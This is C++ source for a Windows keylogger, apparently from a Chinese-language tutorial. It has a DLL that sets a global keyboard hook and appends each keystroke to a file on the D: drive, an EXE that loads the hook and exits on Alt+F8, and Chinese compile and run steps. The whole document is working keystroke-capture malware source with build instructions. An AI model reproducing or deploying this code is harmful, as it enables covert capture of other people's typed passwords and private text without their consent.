KeyLoggerDLL.cpp
#pragma comment(linker, "/subsystem:windows")
#pragma comment(linker, "/section:.my_share_sec,RWS")
#pragma comment(lib, "user32.lib")
#include <stdio.h>
#include <windows.h>
#pragma data_seg(".my_share_sec")
HHOOK g_hhookKeyBoard = NULL;
bool g_fRunning = false;
#pragma data_seg()
static void SaveToFile(char* buf)
{
FILE* fp = NULL;
fp = fopen("D://KeyLogger.txt", "a"); // 将击键记录追加写入文件
if ( fp != NULL )
{
fwrite(buf, strlen(buf), 1, fp);
fclose(fp);
fp = NULL;
}
}
static void UnSetHook(void)
{
if ( g_hhookKeyBoard != NULL )
{
UnhookWindowsHookEx(g_hhookKeyBoard);
g_hhookKeyBoard = NULL;
}
g_fRunning = false;
}
LRESULT CALLBACK KeyBoardProc(int code, WPARAM wParam, LPARAM lParam)
{
if ( HC_ACTION == code && 1 == (lParam>>31&1) )
{
if ( wParam >= 48 && wParam <= 57 || wParam >= 65 && wParam <= 90 ) // 如果是字母键或数字键
{
if ( wParam >= 65 && wParam <= 90 )
{
wParam += 32;
}
char sz[2] = {0};
sz[0] = wParam;
sz[1] = 0;
SaveToFile(sz);
}
else // 如果是其它特殊按键
{
switch (wParam)
{
case VK_RETURN:
SaveToFile("/n");
break;
case VK_SPACE:
SaveToFile(" ");
break;
case VK_BACK:
SaveToFile("[Back]");
break;
case VK_TAB:
SaveToFile("[Tab]");
break;
case VK_NUMPAD0:
SaveToFile("0");
break;
case VK_NUMPAD1:
SaveToFile("1");
break;
case VK_NUMPAD2:
SaveToFile("2");
break;
case VK_NUMPAD3:
SaveToFile("3");
break;
case VK_NUMPAD4:
SaveToFile("4");
break;
case VK_NUMPAD5:
SaveToFile("5");
break;
case VK_NUMPAD6:
SaveToFile("6");
break;
case VK_NUMPAD7:
SaveToFile("7");
break;
case VK_NUMPAD8:
SaveToFile("8");
break;
case VK_NUMPAD9:
SaveToFile("9");
break;
case VK_F8:
if (lParam>>29&1) // Alt+F8
{
UnSetHook(); // 卸载钩子
}
break;
default:
SaveToFile("[Unknown]");
break;
}
}
}
return CallNextHookEx(g_hhookKeyBoard, code, wParam, lParam);
}
// --------------------------------------------------------------
extern "C" __declspec(dllexport) bool KeyLoggerInit(void)
{
UnSetHook();
g_hhookKeyBoard = SetWindowsHookEx(
WH_KEYBOARD,
KeyBoardProc,
GetModuleHandle("KeyLoggerDLL.dll"),
0
);
if ( NULL != g_hhookKeyBoard )
{
g_fRunning = true;
}
return g_fRunning;
}
extern "C" __declspec(dllexport) bool KeyLoggerRunning(void)
{
return g_fRunning;
}
// --------------------------------------------------------------
BOOL WINAPI DllMain(
HINSTANCE hinstDLL, // handle to DLL module
DWORD fdwReason, // reason for calling function
LPVOID lpReserved ) // reserved
{
// Perform actions based on the reason for calling.
switch( fdwReason )
{
case DLL_PROCESS_ATTACH:
// Initialize once for each new process.
// Return FALSE to fail DLL load.
break;
case DLL_THREAD_ATTACH:
// Do thread-specific initialization.
break;
case DLL_THREAD_DETACH:
// Do thread-specific cleanup.
break;
case DLL_PROCESS_DETACH:
// Perform any necessary cleanup.
break;
}
return TRUE; // Successful DLL_PROCESS_ATTACH.
}
KeyLoggerEXE.cpp
#pragma comment(linker, "/subsystem:windows")
#pragma comment(lib, "user32.lib")
#pragma comment(lib, "KeyLoggerDLL.lib")
#include <windows.h>
extern "C" __declspec(dllimport) bool KeyLoggerInit(void);
extern "C" __declspec(dllimport) bool KeyLoggerRunning(void);
static void DebugInfo(char* szInfo)
{
MessageBox(NULL, szInfo, "Debug KeyLogger", 0);
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
if ( KeyLoggerInit() )
{
DebugInfo("KeyLogInit is true");
while ( true )
{
if ( false == KeyLoggerRunning() )
{
break;
}
else
{
Sleep(1000);
}
}
DebugInfo("exit");
return 0;
}
else
{
DebugInfo("KeyLogInit is false!");
return 1;
}
}
编译运行步骤(在命令行模式下):
1、生成DLL文件:cl /LD KeyLoggerDLL.cpp
2、生成EXE文件:cl KeyLoggerEXE.cpp
3、双击运行生成的exe文件,然后你会发现在D盘根目录下有记录着你击键记录的文件KeyLogger.txt,最后,按下组合键Alt+F8即可退出程序。